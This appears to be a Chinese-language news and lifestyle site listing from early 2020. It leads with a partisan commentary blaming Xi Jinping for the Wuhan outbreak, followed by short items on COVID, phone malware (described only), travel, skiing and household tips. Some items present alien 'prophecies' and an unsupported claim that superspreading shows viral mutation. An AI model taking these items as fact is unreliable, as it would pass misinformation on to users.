北京时间2月5日,中共权威的宣传机构新华社报道说,“中共中央总书记、国家主席、中央军委主席、中央全面依法治国委员会主任习近平2月5日下午主持召开中央全面依法治国委员会第三次会议并发表重要讲话。他强调,要在党中央集中统一领导下,始终把人民群众生命安全和身体健康放在第一位,从立法、执法、司法、守法各环节发力,全面提高依法防控、依法治理能力,为疫情防控工作提供有力法治保障。”

有观察家指出,新华社的报道还是在展示习近平远距离高喊假大空的口号;另外,新华社在做出这一报道的时候没有图片,也就是说,自1月28以来,在中国陷入疫情危机、危机波及世界许多国家之际,习近平从公众视野中消失,已经连续8天不见踪影。

亲自指挥、亲自部署” 疫情失控

胡平说,毫无疑问,习近平说他对迄今为止的疫情防控“一直是在亲自指挥、亲自部署”不可避免地导致人们广泛猜想他或许是有意承认自己的责任,因为既然你是亲自指挥,亲自部署,而且是一直亲自指挥、亲自部署,那中国先前没有及时公布疫情,不但没有及时采取有力的防控措施,反而不断进行歌舞升平、天下太平的虚假宣传,结果导致疫情闹到难以收拾的地步,那也就是你习近平的决定,你应当承担责任。

胡平接着说,人们的这种思路是合情合理的,但习近平以及他所掌控下的中共宣传部门显然不是这么想,而是显然在想如何让习近平可以逃脱责任。

他说:“(习近平)他本来就是出于一种很不正常的情绪才说出这种话来。仅仅从语言上讲都很可笑。说领导‘亲自’怎样怎样,这是溜须拍马的下级说的话,哪有上级领导自己这么说的呐。当然,你也可以说,他是要给自己表功,要表明他大权在握,什么事情都在他的掌控之下。但新华社接着就给他改了稿子,改得看不出有这么强的个人控制色彩了,只是说‘统一领导,统一指挥,分类指导’,各地做好疫情防控工作云云。新华社要改他的稿就说明连新华社、连官方他的同僚都认为他这话是讲砸了。所以接下来公然篡改。这是很罕见的事情。”

批评者说,自从上台以来,以惹人非议的方式获得北京清华大学博士学位的习近平不断努力展示他如何有学问,但也不断暴露他的小学基础语文知识有重大缺陷,如将“精湛”错读为“精甚”,将“赡养”错读为“詹养”,将“通商宽农”错读为“通商宽衣”。习近平“亲自”一词的误用则被许多网民认为是他文化水平停在小学初级阶段的又一例证。习近平的“亲自”误用也导致“亲自吃饭”,“亲自睡觉”,“亲自转发”之类的讽刺性说法在中国网民当中不胫而走。

与此同时,在中国官方的《北京晚报》2919年6月8日发表的一篇题为《“亲自”易误用,领导用该词更要慎重,一直以来你用对了吗?》的文章因习近平而受到网民的注意和热议之际,那篇文章在该报网站被删除。

在另外一方面,“亲自”在中共当局控制的中国互联网上显然已经成为敏感词。包含“亲自”一词的网民发言被中国网络舆论管制当局大量封杀。

习近平当局“甩锅”努力受关注

观察家和批评者指出,以习近平为首的中共当局眼下确实是正在全力应对当前的武汉新型冠状病毒疫情,但当局的主要力量是用于尽力控制舆论舆情而不是尽力控制病毒疫情或给感染者提供治疗和照顾。

在当今中国,许多地方许多患者处于病危状态,其家人无论怎样哀痛呼号救治,但当局却不管不问,让患者在家中,在大街上,在医院走廊里自生自灭。但中国任何一个网民在中国任何一个地方就疫情问题发表了什么令当局不高兴的言论,便马上会有一群公安人员上门警告、威胁、抓捕。

然而,观察家们普遍注意到,截至目前,从中国官方媒体到小粉红或五毛党(即中共掌控的伪装为普通网民的民意操控特工)都没有对习近平政权有能力在全世界大撒币让全世界吃惊却没有能力保障一线医务人员的口罩和防护服、没有能力为中国大众提供起码的医疗保障这一现象做出评论,或为当局做辩护。但现在已经有明显迹象显示,习近平当局在试图甩脱官方封锁信息打压舆论酿成灾祸的责任。

在观察家们看来,这种甩脱责任即中国网民所说的甩锅的说辞主要是两种:一种是信息披露不及时是下面的人玩忽职守,无能,懒政,不作为,没有把人民的生命安全放在第一位;再一种是中国的医学研究人员在第一时间把持住病毒样本用于写论文,而不是及时做出报告让有关部门可以在第一时间得到及时的情况通报、做出正确的决策。

1月28日,中国最高人民法院网站发表署名文章,谈有关武汉肺炎疫情的信息封锁导致公众没能及早提高警惕最终造成疫情大扩散的问题。该文批评地方官员“把信息公开认为是自己的一亩三分地”,没有“站在党和国家的视角考虑问题”。

在许多观察家看来,声言法律必须服从中共、坚决不要司法独立的中国最高法院通过其网站发表这篇署名文章,明显地展示了中共最高当局要把锅甩给下面的官员的意图。

此外,在中共严密控制的互联网上,一度盛传的一种传闻说,中国的医学研究人员早就掌握了造成疫情的病毒的关键性信息,但他们却忙于抢先写论文在国际权威医学研究杂志上发表以争名夺利,而不是以公众利益和生命安全为重。这种传闻一度引发中国公众对这样的私自私立的医学研究者的愤怒。

北京之春荣誉主编胡平说,迄今为止的形势发展已经明显显示,中共最高当局试图将锅甩给下级官员、甩给医学研究人员的努力碰壁了。

胡平说:“我想这两种说法都站不住脚。人们都知道,因为正是吸取了2003年应对萨斯的教训,中国说建立起了相应的(疫情及时报告)机制,遇到什么事情,地方官员就没有多少自主的权力了,有什么事情必须直接上报到中央。武汉市长周先旺把这件事情讲得很清楚。”

胡平在这里所谓的“武汉市长周先旺把这件事情讲得很清楚”是指,武汉肺炎疫情在武汉当局明显的隐瞒下不断发展、最终进入大爆发的失控境地,招致公众的强烈谴责。在激烈的批评谴责声中,武汉市长周先旺1月27日在接受中国中央电视台采访时说,武汉和湖北先前之所以没有及时向公众披露疫情实况,是因为没有得到中央的批准,所以不能披露。

与此同时,中国官方后来的多次声明也显示,中国当局早就对疫情有足够的了解,并且向世界卫生组织这样的国际组织和美国等国家进行了几十次的通报,显示了中国不存在医学研究人员将新型冠状病毒疫情信息据为己隐匿不报从而导致中国政府当局不能及时了解疫情实况的问题。

最终的甩锅:艰辛探索?

来自中国的迹象显示,尽管中共当局全力封杀网民有关习近平应当为武汉肺炎疫情失控大爆发承担多少责任的议论,但公众和网民的议论显然令以习近平为首的中共当局感到不安;中共当局仍在努力为习近平开脱。

一些观察家们指出,中共中央机关报《人民日报》旗下的小报《环球时报》总编辑胡锡进1月29日对中国疾病控制中心流行病学首席科学家曾光的采访是明显地为习近平进行辩护。

中国媒体的报道说,曾光在接受采访时表示,公共卫生人员的决策考虑的就是科学性的问题,是一个科学的视角,但政府官员考虑问题并不单纯是科学的视角,这只是他们决策依据的一部分。

曾光说:“他(领导人)要考虑政治视角,考虑维稳的问题,他要考虑经济的问题,他要考虑春节老百姓的天伦之乐,满意不满意的问题。我们(专业人员)说的话往往只是他们决策中采纳的一部分”;曾光认为,不能说政府官员这种视角不对,事情的决策是要多方面考虑的,但在关键问题上要建立一个经验,要更多的采用科学视角。

北京之春荣誉主编胡平说,曾光的这番话很值得玩味;考虑到胡锡进因总是奋不顾身为中共当局的任何倒行逆施做辩护而在中国网民当中获得“叼飞盘”的绰号,考虑到曾光作为一个官方学者的身份,胡锡进采访曾光的这番话显然是为中共辩护,为习近平当局辩护,其辩护的逻辑是中共喜欢说的领导因经验不足而“交学费”或“艰辛探索”。

胡平表示,且不说有多少有自尊并珍惜自己生命的中国人愿意把自己性命拿出来供习近平当“艰辛探索”的试验品,且不说习近平是否与中国公众商讨过他用他们的生命安全来进行试验探索的计划,就算是我们全盘接受曾光的说辞,任何一个愿意讲道理的人也难免会提出质疑。

胡评说:“平心而论,作为国家领导人面临重大问题做任何选择都要冒一定的风险。你如何选择,你愿意冒哪种风险,就显示出了你的基本价值倾向了。而在这个问题上,你看习近平做出的选择就表现出他的内在的、根深蒂固的价值偏好。他显然认为,一般老百姓的生命健康不是那么重要的事情,比起他的政治大局,比起他一心想营造的盛世景象相对是不重要的。他喜欢帝国气派,而春节是这样的大好机会,他一向喜欢大节庆,喜欢辉煌景色,他不愿意错过这样的机会。另外他也肯定想,中国这么大,人这么多,哪年流行病不死点人哪。”

中国国内外许多观察家指出,1月23日,在武汉当局宣布封城几个小时之后,习近平以中共中央总书记和中国国家主席的身份在中共中央和中央政府春节团拜会上发表讲话,只字不提人口上千万的武汉封城,不提武汉疫情,而是大谈中国梦,这种将千百万人的死活忽略不计的梦话已经清楚地显示了武汉疫情在习近平心中的分量。

不过,习近平本人在接见世界卫生组织总干事谭德塞德时候明确而清楚地说:“对于中国人民来说,我们现在正在进行着一场严肃的的斗争。中国政府是高度重视,因为政府的宗旨就是,把人民的生命安全、身体健康放在最高位置上。所以对于这一次的疫情防控工作,我一直是在亲自指挥、亲自部署,我相信,只要我们坚定信心、同舟共济、科学防治、精准施策,我们一定会战胜这一次的疫情。”

问责成超敏感话题

在新型冠状病毒导致的武汉肺炎疫情依然在迅猛扩散之际,当今疫情究竟是天灾还是人祸、坚持当今中国的事情必须是定于一尊、一锤定音的习近平是否应当为一再延误阻止疫情爆发的时机而承担责任乃至罪责,这成为当今中国超敏感的话题,成为中国媒体不得碰触的新闻报道和评论禁区。

中国网民就这个问题发表的意见,其中包括以委婉曲折的措辞提出的意见则不但会被立即删除,而且还会遭到禁言和封号的处罚。直接提出习近平名字予以批评的中国公民则面临被抓捕的高风险。

然而,观察家们说,中国当局显然是知道疫情问责的问题是一个回避不过去的问题,因此当局正在设法应对这一问题,而且其努力的主攻方向显然是向下推卸责任。

据官方媒体新华社星期一(2月3日)报道,中共中央政治局常委会召开会议讨论疫情防控问题,习近平发表讲话称,对失职渎职的官员,要依纪依法惩处。但官方媒体没有说,决定长时间向中国公众隐瞒疫情,导致成千上万的中国人中招染毒、几千万人陷入封城困境导致人道主义灾难、导致至少400多人死亡的官员是否是失职渎职,是否应当承担责任并受惩处。

新华社2月5日的报道引述了习近平在当天的中央全面依法治国委员会会议上的讲话,其中没有他表示要承担责任的内容。习近平在讲话中说,要“加大对暴力伤害医务人员的违法行为打击力度,严厉查处各类哄抬防疫用品和民生商品价格的违法行为,依法严厉打击抗拒疫情防控、暴力伤医、制假售假、造谣传谣等破坏疫情防控的违法犯罪行为…。”

截至目前,以习近平为首的中共当局一直没有回答中国公众反复提出的质问,这就是,当局先前长时间坚持声言新型冠状病毒“疫情可防可控”、“未见明显的人传人”的说法是否是造谣传谣,是否是应当追究的违法犯罪行为。

2020-02-05 / by / in
武汉肺炎新药美国研发 却被中国抢先注册专利 令人瞠目结舌

据报道,美国一位武汉肺炎确诊病患因使用在研药物瑞德西韦病情好转,并且现在已经出院。瑞德西韦为美国药厂研发。但中国科学院武汉病毒研究所4日公布一项研究成果,称中国学者在抗武汉肺炎药物筛选方面取得重要进展,并且已经申请专利。外界质疑武汉病毒研究所这项研究专利,是抢先注册美国药厂吉利德科学公司(Gilead Science)的专利。

国际期刊新英格兰医学杂志NEJM今年1月31日刚有一篇文章发表,提及药物瑞德西韦Remdesivir治疗武汉肺炎有效的个案报告,美国一名新型冠状病毒的病患,使用此药后,健康情况好转。

此药为吉利德科学公司(Gilead Sciences)所研发,原本是用来治疗其他疾病,该公司也发出新闻稿指出,对于治疗新型冠状病毒尚未证实安全或有效,不过针对动物的实验显示,可以对抗中东呼吸症候群(MERS)和严重急性呼吸道症候群(SARS)病毒病原体。

而中国科学院武汉病毒研究所昨天发出新闻稿,宣称中国学者在抑制新型冠状病毒药物筛选方面取得重要进展,研究发现瑞德西韦及另一种药物,能在体外有效抑制病毒,研究所并于上个月21日申报中国发明专利,并将通过PCT(专利合作协定)也就是全球专利提出国际申请。

网路知名医师作家蔡依橙在脸书上批评,这真的令人瞠目结舌,美国文章才刚发表,结果武汉病毒所竟然早在1月21日就把这个药治疗武汉肺炎用途,注册了专利,而且还将通过专利合作协定,延伸进入全球主要国家。

中研院生医所副研究员胡哲铭说明,因为当初吉利德开发此药不是针对新型冠状病毒,所以因应不同疾病可以有不同专利申请,但是如果中国真的申请通过,开发药物本身的吉利德如果要在中国贩售药物,反而还要付专利费用给中国。

石破天驚的大事。早上醒來,我在我訂閱的數十個中國人建立的地方疫情討論區發現了一則訊息,有一個義憤填膺地在說這個手段太髒了。我點進去看了之後覺得,這真的是石破天驚的大事。昨晚,中國科學院武漢病毒研究所(沒錯,就是那個千夫所指被懷疑…

Posted by 遠行的理由 on Tuesday, February 4, 2020

 

底下有网友解释,指武汉病毒所的文中有说「双方同意暂时不要执行专利的权益」,很多国家在药品专利申请本来就是各国独立,所以才会在很多药物上会同时看到广告有美日德等多国专利等字样,有可能这只是很简单的一个合作协议,因为美国没有足够的病患执行此药品的第三期测试也就是人体测试,必须在中国尽速进行,这在很多药品第三期测试非常常见。

2020-02-05 / by / in , , ,
“超级传播者”现身湖北江西江苏 1人至少传10人

日前,湖北、江西和江苏均出现武汉肺炎超级传播者,1名病患至少能感染10人,医界认为,这种情况可能使得新型冠状病毒疫情更难控制。

1月30日,江西省新余新增17宗新型冠状病毒肺炎确诊病例,其中一名黄姓超级传播者一人感染了15人,其中13人为医护人员。省专家组指,不排除后续还有与黄某有关联的确诊病例出现。

2月2日,陆媒报导,睢宁县出现1人传染10人案例。

由于宿迁市宿城区耿车镇等乡镇邻近睢宁县,宿迁市2月2日发布提醒,要求市民尽量减少外出活动及人员聚集,尽量避免到睢宁县等地。

1月28日,陆媒报导了武汉市肺科医院的一名ICU主任胡明的访谈,他谈及武汉医院的现状,并披露自己曾接诊过一个超级传播者,该患者一个人就感染了10来个人。他还说,有个同行讲,自己接诊的重症患者都死了。

胡明表示,如果不能有效的控制疫情,患者就可能一个人要传播十个人。

医界认为,疫情发展过程中,如果出现超级传播者,就意味着病毒在不断传播中已通过变异适应人体,从而导致病毒感染能力大增。

2020-02-02 / by / in ,
美国手机也携带大陆恶意软件?这种美国政府提供的手机要小心!

网络安全,低收入群体,政府补贴手机,中国制造,UMX U686CL手机,移动更新,隐蔽广告,恶意软件,中国生产,美国手机


近日,网络安全专家发现,美国对低收入群体提供的政府补贴手机,携带预先植入的中国恶意软件,可以在用户没有授权时下载安装其它应用,而且无法卸载清除。据《美国之音》报导,这项发现涉及美国政府通过联邦通信委员会的生命线援助计划,向低收入民众提供的政府补贴手机。符合低收入条件的民众只要支付35美元,就可以从Assurance Wireless公司购买一部在中国制造的UMX U686CL手机,而且包括免费电话,免费短信和免费数据服务。 这款手机使用安卓操作系统,制造商是美国Unimax公司,但是在中国生产。 美国网络安全公司恶意软件字节说,他们在一些UMX U686CL手机上发现了两款预先植入的恶意软件,一个叫移动更新,另一个叫隐蔽广告。

2020-01-22 / by / in
旅行购物刷出天价账单?华人出游须小心,购物买礼品要仔细看账单

牙买加/美元/天价账单/出国旅游/购物刷卡/VISA卡账单/交易纠纷/查看收据/输入密码付款/度假


据CBC报导,前不久,加拿大密尔顿男子盖伊(Rejent Guay),到牙买加度假。据盖伊一家人说,那天,他们从酒店被直接送到牙买加奥乔里氏斯(Ocho Rios)的购物区。盖伊在一家纪念品商店,为女儿挑选了一个小花瓶以及几件衣服。结帐时,店家告诉他,花瓶和衣服的总价为7,500牙买加元,约合56美元。回到加拿大后,一天,盖伊收到RBC银行的VISA卡账单,被吓了一大跳!

2020-01-22 / by / in
2020在线申请新西兰旅游签证最新攻略申请│西兰旅游签证网络申请流程

作为南太平洋上的岛国-新西兰,这是一个地广人稀的国家,主要由北岛和南岛两大岛,和附近一百多个小岛组成。新西兰的闻名,还在于它是世界第一乳制品出口大国,也是很多国人向往的移民之国。下面介绍下如何在线上申请新西兰的签证流程:

申请步骤

 

1,进入新西兰移民局官网

www.immigration.govt.nz

2,点击网页首页右上角“login”

 

 

3,点击“select from this list”

4,选择“访问签证”

 

5,点击“login”蓝色按钮,进入Realme登录界面

6,下拉页面至首页底端,点击“中国公民”

7,进入中国公民专用页面,点击访问新西兰

8,点击“申请旅游签证”

9,进入“申请旅游签证”政策说明页面

此页面也包含了online申请端口,纸质旅游签证政策与材料说明,了解完旅游签证政策后,点击“Immigration ONLINE” 进入online 申请端口

第二步:登录或创建RealMe账号

RealMe 登录界面有中文版,可点击右上角“中文”变换语言。

已有RealMe账户的,请在左侧直接使用RealMe账号信息,登录进入移民局online申请首页。

没有RealMe账户的请选择右侧,点击“创建您的RealMe登录号”,进入RealMe账号创建页面。

 

创建RealMe账号

 

填写完成后,所提供的登录邮箱将收到一封验证邮件,打开邮件进行验证。

验证成功后,网页会跳转至下一个页面,选择继续。

 

第三步:创建新西兰移民局online档案

紧接着上一步,点击“继续”后,进入新西兰移民局档案创建页面,选择“接受”

填写移民局档案显示名(可以不用写真实名字)电子邮箱最好写之前RealMe注册的邮箱,以方便接收邮件。

点击进入Verification Link或激活账号。

浏览器页面将跳至移民局“验证成功”点击“查看我的账户”正式进入移民局online申请页面(页面右上角可以调整语言)。

第四步:正式进入移民局online申请首页

右侧有四个功能菜单,建议对新西兰签证申请并不熟悉的申请人在正式开始申请前,阅读“递交申请”与“上传文件”前两项申请须知,了解网上申请的操作与材料要求。

第五步:点击主表格区“创建新的访问签证申请”

表格第一页:确认申请类型正确

此部分主要确定申请人是否有递交online申请的资格,如前文所解释过的,只有个人的、独立的旅游签证申请可在online端口递交。表格第一页内容如下:

以下情况不可递交online申请

表格第二页:申请人身份与联系方式页

 

填写此页面,需要护照信息、身份证信息、通讯信息。

注意:此页面中的通讯地址、电话以及电子邮件地址,将是新西兰移民局与你沟通此签证申请的方式。
填写地址时,不要输入任何标点符号,字符间空格即可。

如果你有具有法律效益的曾用名(比如婚后、收养情况),则需要提供曾用名信息,并在最后的材料提交步骤中提供相关材料。

如果在之前申请过新西兰的任何签证,你已经有了一个唯一的客户号(client number),此客户号可以在之前的签证页上找到,(当然如果之前的签证被拒签,在拒签信以及与移民局沟通的邮件中都可以找到这个唯一的客户号)。

表格第三页:访问详情页

此页面需提供签证目的、签证计划等信息。

一般咱们申请旅游签证都是属于General Visitor Visa,以旅游或探亲为主要目的。

表格第四页:健康详情页

在新西兰居留不超过6个月是不需要提供体检报告的,如果在此页面中你关于疾病与治疗的问题选择了Yes,那么你可能不符合新西兰移民局的签证要求,或者移民局将会要求你提供详细的体检报告。如果你身体健康,并未怀孕且过去五年内未在其他国家待过3个月,且未申请过新西兰签证、未提供过体检报告,则选择No,并在最后一个问题选择Not applicable即可。


一般申请旅游签证时,拥有稳定工作和收入的申请人更容易批准。此页面中,你需要填写目前在职的工作信息,后续材料上传时需要提供雇主开具的准假信以及收入证明材料。如果是退休状态,则选择Retired,并需要填写退休前最后一份工作信息,并提供退休证与退休金收入证明。当然,以往的工作经历虽非必须信息,但如果有后续在新西兰发展的计划,也可一并填写完整。请注意前文提到的信息一致,后续签证、乃至移民的申请需要与此时提供的信息保持一致。


 

最后

递交申请,支付申请费

完成材料上传后,点击“继续”,进入申请表检查页面,这将是递交申请前对申请表整体的检查机会。

确认信息提供无误、材料上传无误后,点击继续,进入deceleration页面,全部勾选Yes后,点击“递交申请”。

之后转至申请费支付页面。完成申请费的支付,将跳转至申请成功递交确认页面。请将此页面截图保存下来备份。

至此,一个online旅游签证申请递交完成。

2020-01-21 / by / in
隐私安全问题令人担忧?Android手机的7个实用设定快快学起来!

Google Play/网络诈骗/Android系统/隐私外泄/手机资料安全/网站安全浏览功能/Chrome网站安全浏览功能


一、启用来电显示与骚扰/广告电话阻挡功能

二、启用网站安全浏览功能

三、启用 Google 帐户安全金钥功能

四、手动管理应用程式权限

五、手动设定应用程式存取位置权限

六、启用Google 地图中的无痕模式

七、启用 Google Play 安全防护

2020-01-20 / by / in
航空公司哪家最安全?2020年全球最安全航空公司榜单出炉!

国际航空评鉴/最安全航空公司/2020年度/澳洲航空/新西兰航空/长荣航空/最安全的廉航公司 /英国的弗莱比航空/美国边疆航空/美国的捷蓝航空


2020年一开始,国际航空评鉴网站AirlineRatings.com发布了2020年度全球最安全20家航空公司榜单排名

1 澳洲航空(Qantas)

2 新西兰航空(Air New Zealand)

3 长荣航空(EVA Air)

4 阿提哈德航空(Etihad)

5 卡塔尔航空(Qatar Airways)

6 新加坡航空(Singapore Airlines)

7 阿联酋航空(Emirates)

8 阿拉斯加航空(Alaska Airlines)

9 国泰航空(Cathay Pacific Airways)

10 维珍澳洲(Virgin Australia)

11 夏威夷航空(Hawaiian Airlines)

12 维珍航空(Virgin Atlantic)

13 TAP葡萄牙航空(TAP Portugal)

14 北欧航空(SAS)

15 皇家约旦航空公司(Royal Jordanian)

16 瑞士国际航空(Swiss)

17 芬兰航空(Finnair)

18 德国汉莎航空(Lufthansa)

19 爱尔兰航空(Aer Lingus)

20 荷兰皇家航空(KLM)


同时网站也选出2020年10间最安全的廉航公司,不过只按字母排名,没有次序,以下是上榜的航空公司: 阿拉伯航空(Air Arabia)、英国的弗莱比航空(Flybe)、美国边疆航空(Frontier)、香港快运航空(HK Express)、印度的靛蓝航空(IndiGo)、美国的捷蓝航空(Jetblue)、墨西哥的沃拉里斯航空(Volaris)、西班牙的伏林航空(Vueling)、加拿大的西捷航空(Westjet)、匈牙利的维兹航空(Wizz)。

2020-01-20 / by / in
2020最全的滑雪攻略│美国滑雪装备新手须知│滑雪时应该带什么?

北美滑雪/美国滑雪场/美西滑雪/滑雪器材/滑雪装备/滑雪新手/滑雪须知/滑雪注意事项/滑雪攻略/滑雪必带物品

关于滑雪

滑雪基本上分为Skiing和Snowboard,前者是大家不陌生的双板,另外则是中文俗称滑雪板的单板。

Ski:移动的方式有点像是在溜冰,利用双板的前后滑动,细长产生前进的动力。重心较容易掌握,也比较容易上手,但要从初阶进步到高阶较花时间。

Snowboard:就像是没有轮子的滑板,对于有滑板经验或者冲浪经验的人会比较容易。对于一般人来说比较难上手,因为重心的掌握较困难,且行进时是侧身的。


滑雪时应该带什么?滑雪所需装备

滑雪板:分为单板和双板,可在雪场租用,对于不经常滑雪的市民租赁雪板较为划算。

滑雪鞋:可在雪场租用。

滑雪服:一般雪场不提供出租雪服,但雪场内有商店出售雪服,也可提前在商店、网店购买,选择较厚、松软、防水的雪服。

滑雪手杖:双板滑雪需要,可在雪场租用。

滑雪镜、头盔:雪镜起到保护眼睛的作用;若摔倒,头盔可以一定程度上保护头部(部分雪场可以租用)。

防晒霜和护唇膏、护手霜:滑雪场寒冷又干燥,反射到眼中的光线会伤害到皮肤,因此这三样也是必要的!

暖宝宝:如果没带也别担心,滑雪的时候运动量大,不会觉得很冷。

智能手机:带有摄像功能的手机,拍风景,拍你想拍的,其乐无穷。


注意事项,滑雪须知

1.热身不可少的:不注意热身是滑雪者受伤的最主要原因。滑雪场气温低,身体发僵,如果关节肌肉没活动开,一上来就开始滑,很容易受伤。上雪道前,应将髋、膝、踝、腕等多处关节活动开。另外,即使有滑雪基础,也要先从初级道开始练习,逐渐升级到高级道。

2.新手滑雪须知:初学滑雪者应该先在平地练习走,学会了走,再学滑。“走”的基本功包括穿着雪板行走、八字登山行走、侧方向走、雪板变方向行走。接下来再学平地滑行和坡道滑行。滑雪时需租用专用的滑雪鞋,所以当天穿着自己的鞋子前往即可。


3.如何安全摔倒:不要擅自滑出滑雪场界线,那样你不会遇到滑雪场的工作人员,也不会得到救援。感觉身体失去平衡时,应该顺势向后倒,随坡度自然下滑,等待慢慢停住。不要用手支撑,不要手脚乱动,身体不要翻滚。


4.新手必带装备:
1)记得带颈巾或围巾,风大时能遮罩脸部,避免冻伤。2)一定要穿防水的滑雪裤,千万别穿牛仔裤等不防水且活动性不佳的裤子。3)带头盔(安全帽),以保护头部。带上滑雪风镜或运动型墨镜,不然太阳经雪的折射更烈,长时间容易眼睛不适。4)登山用厚袜子或穿2层袜子也可以,防寒保暖衣记得穿在身上。

5.要穿鲜艳服装:一旦出事,寻找起来目标醒目。

6.初学者的雪道:即使有滑雪基础,也要先从初级道开始练习,逐渐升级到高级道。滑雪场内的雪道上都有道标,不同颜色和形状的道标代表不同级别。绿色圆圈是初学者雪道,坡度大概是不超过40度。蓝色方块是中级雪道,大概不超过65度,再上就是高级的黑色钻石雪道。每一色中当然也有容易,中等,困难之分,而且相差相当大,比如5度和40度都可以是绿道。大家切记根据自己的水平,量力而行。

7. 摔倒3“不要”:不要用手支撑,不要手脚乱动,身体不要翻滚。

8.拿雪板时注意不论是单板或是双板,雪板的两侧都是锐利的钢边,主要是为了在滑行时造成阻力,以达到减速的效果。所以千万记得不要用手摸钢边,拿雪板时一定要穿戴手套,也不要把雪板扛在肩上。你很有可能在一个不注意之下,伤到周围的人。

9.雪板不用时候:雪板在不用的时候一定要颠倒放,不然它是张的会长脚自己跑走的,如果撞到人,你可赔不起!


滑雪器材有哪些?

 

雪橇(ski):2个单脚用的滑雪板与专用的滑雪鞋。

雪板(snowboard):1个滑雪板与专用的滑雪鞋。

雪杖:通常会包含在租借套餐中,用来控制加速,平衡和方向的工具。


雪撬(Ski)还是雪板(Snow Boarding)?

对初学者来说,雪撬(Ski)可靠双脚平衡站立,入门会容易一些,一旦入门后,可是有很多细腻的技巧需要磨练的。

而雪板(Snow Boarding) 由于是单脚站立平衡,对于初学者来说,一开始可能不习惯,会感觉比较困难。

不过建议初学者不管是雪撬还是雪板,都先在教练指导下练习基本步,才能更安全的享受滑雪的乐趣噢。


滑雪场地分级

滑雪场地对初学者来说非常重要,因为坡度太陡或是不够宽都会影响,建议滑雪新手都来学学滑雪道的难度分类。

分类标准-坡度和障碍物:坡度是以45度角为100%为标准推算,障碍则是考虑有无树木、经过整雪等人工处理。

2020-01-17 / by / in
2020最权威的預言?看完信不信由你!(下集)

2020年預言(上集)鏈接:https://youtu.be/BYZ-mwK5J3w 那在這集(下集)內容,我們會談到火星男孩對2020年的預言。當中,他也提到了中國的使命,這也和上集美國女預言家,珍妮 狄克遜說的相吻合了。 另外,我們也談到了一個生活在另一個星球的外星人說的預言。他就叫巴夏


。巴夏是第五緯度外星人,來自一個叫愛莎莎尼的星球。他是通過美國的這位傳訊者—達瑞爾‧安卡(Darryl Anka)來向地球人傳達訊息,而且他用這樣的方式傳達30多年了。很多歐美人都非常相信他。 在2019年6月份,他又向我們地球人傳達訊息了,而且也預言了“2020年的變化”。巴夏說得挺多的,所以我就把一些重點整理了讓大家參考一下。


其實,很多中外歷史預言都有在描述此時和將要發生的這種大災難,也都埋下了一個如何避免災難的重要伏筆,而在大災難中被懲罰和淘汰的只是那些不相信的人和惡人。那2020年到底會發生什麽事呢,再有一年就知道啦!

2020-01-09 / by / in
2020最权威预言?看完信不信由你!

有许多预言家在过去就预言了2020这一年将会发生的事情。在这个视频里,我们会谈到3位人物,他们都各自在不同的时间点、不同的地点,预言了2020年的情况。

2020-01-09 / by / in
喝茶喝出佳境才是养生益身

什么时候喝茶,茶的种类,冷茶好还是热茶好,隔夜茶,什么人不宜喝茶,喝茶的好处,茶多酚 茶碱 生茶 清茶 熟茶

2020-01-09 / by / in
生活达人必学的三招│去异味有办法

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热呼呼的火锅、烧烤,吃了总让人感觉暖胃又十分过瘾,还能驱除寒意,只是毛衣沾上的味道,有什么好方式可以清除吗?其实这种味道不用特别清洗,只要几个小方法,就可以轻松去味除臭哦!


当然也不只火锅、烧烤,甚至唱歌,或是其它公众场合,混杂其中的油烟、烟酒味不只会沾上头发和毛衣,甚至怎样做都无法把味道去除,紧紧跟着我们。加上毛衣下水还会担心缩水起毛球,不洗的话,又怕沾染上的味道长时间散不去,真是令人感到非常苦恼。


毛衣异味怎么清除?

秋冬毛衣、针织衫是御寒必备的服装,但穿着去吃火锅、烧烤甚至唱歌,出来以后,总是会让人感到残留在衣物上的浓郁味道迟迟无法散去,令人皱眉。而且毛衣与针织衫属于毛料性质,若没做好清洁,不只沾在衣物上的味道去不掉,还有可能缩水起毛球,缩短衣服的寿命!

因此,想要替毛衣去味可以不用放到水中清洗,只要用苏打粉和酒精,就能把毛衣上的恼人气味一扫而尽!

2020-01-09 / by / in
坐飞机如何应对紧急情况?

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在刚过去的繁忙感恩节旅行高峰期间,由于暴风雪肆虐,航空公司取消了美国东北和中西部的数百个航班。当局估计有6500个航班误点、800航班取消,导致许多旅客受困机场。圣诞节即将来临,空中交通又迎来了繁忙的出行高峰期。如果在遇到航班因天气原因延误或取消的情况,到底哪些事情能做哪些事情不能做呢。


1. 可做:查询航班最新消息
在天气状况恶化时,请一定要多注意你预订航班的航空公司网站、移动应用程序或Facebook和Twitter账户,实时跟踪航班信息。尤其是如果这次旅行不可错过,或者延误、取消将会使你陷入困境的话更要注意。航空公司通常在强风暴发生之前会发出旅行咨询、警报,让旅客可以更换航班,以避开混乱天气。好处是乘客不需要支付任何更改费用或票价差额,有些幸运的乘客甚至可以获得比预定更好的航班。


2. 不可做:没检查航班状态和航空公司通知 就前往机场
除非航班是最后一刻延迟或取消的情况,否则乘客一般不可能得不到通知。航空公司会通过电子邮件、短信、他们的移动应用程序,有时甚至是电话,来提醒旅客有关航班问题的信息。如你的航班被取消,某些航空公司会自动为你预订下一个适合的航班。所以预订机票时提供联系信息很重要。


3. 可做:检查航空公司自助服务选项 重新预订
在客户服务柜台或登机口预订中心排队,并不是预订新航班的唯一方法。许多航空公司都允许乘客在他们的网站和移动应用程序上重新预订机票。所以下载航空公司的移动应用程序很实用,而且航空公司一直在为应用程序添加更多功能,这些信息在机场可起到重要作用。

2020-01-09 / by / in
微波炉这样使用,东西不怕吃剩!

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在吃完假期大餐后,家中是不是也多了许多剩菜呢?如果想要节省时间,微波炉是重新加热菜肴最好的工具。确实,在问世后半个多世纪的今天,微波炉已走入了家家户户,并大大改变了人们的烹调方式。如今,我们大量运用微波炉来烹煮、解冻食物,甚至也有专门提供给微波炉的厨具。


然而,在用微波炉加热剩菜时,须留意一些要点才能让食物更美味,并降低食物中毒的风险。以下,是重新加热食品时的注意事项。


披萨
家人或朋友在聚会时一起享用大披萨是很愉快的时光。剩余的披萨冰在冰箱中,想吃的时候重新加热,又能快速地解决一餐。
披萨其实最适合用平底锅加热,但如果你没有时间,想用微波炉加热也是可以的。请在盘子上垫上一层餐巾纸,餐巾纸可以吸收披萨加热时产生的油脂和湿气,让加热后的披萨吃起来不会又软又湿。从冰箱拿出来的披萨,大约加热1分钟左右即可。



在又湿又冷的天气里,来一碗热汤是最让人舒服的。你可以趁著有空时煮一锅浓汤,下班后如果不想出门,就可以简单用面包配着浓汤当晚餐。
